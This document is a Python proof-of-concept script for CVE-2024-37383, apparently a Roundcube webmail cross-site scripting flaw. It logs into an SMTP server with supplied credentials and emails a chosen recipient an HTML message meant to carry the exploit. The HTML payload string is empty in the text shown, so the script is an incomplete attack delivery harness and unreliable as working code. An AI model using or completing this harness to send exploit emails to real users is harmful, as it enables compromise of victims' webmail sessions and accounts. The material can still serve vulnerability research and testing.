import smtplib import argparse from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-37383 Proof Of Concept") parser.add_argument("-e", "--sender_email", required=True, help="Sender's email address") parser.add_argument("-p", "--sender_password", required=True, help="Sender's email password") parser.add_argument("-t", "--recipient_email", required=True, help="Recipient's email address") parser.add_argument("-sh", "--smtp_host", default="smtp.gmail.com", help="SMTP host address") parser.add_argument("-sp", "--smtp_port", default=587, help="SMTP port number") args = parser.parse_args() msg = MIMEMultipart('alternative') msg["From"] = args.sender_email msg["To"] = args.recipient_email msg["Subject"] = "CVE-2024-37383 Proof Of Concept" text = "Please use HTML view to see this email." html = """\
""" msg.attach(MIMEText(text, 'plain')) msg.attach(MIMEText(html, 'html')) try: server = smtplib.SMTP(args.smtp_host, args.smtp_port) server.set_debuglevel(True) server.starttls() server.login(args.sender_email, args.sender_password) server.sendmail(args.sender_email, args.recipient_email, msg.as_string()) server.quit() print("Email sent successfully.") except Exception as e: print("An error occurred:", str(e))